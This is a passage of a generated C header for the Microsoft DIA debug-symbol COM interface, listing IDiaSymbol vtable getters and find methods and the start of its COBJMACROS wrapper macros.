[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); END_INTERFACE } IDiaSymbolVtbl; interface IDiaSymbol { CONST_VTBL struct IDiaSymbolVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol_get_unused(This,pRetVal) \ ( (This)->lpVtbl 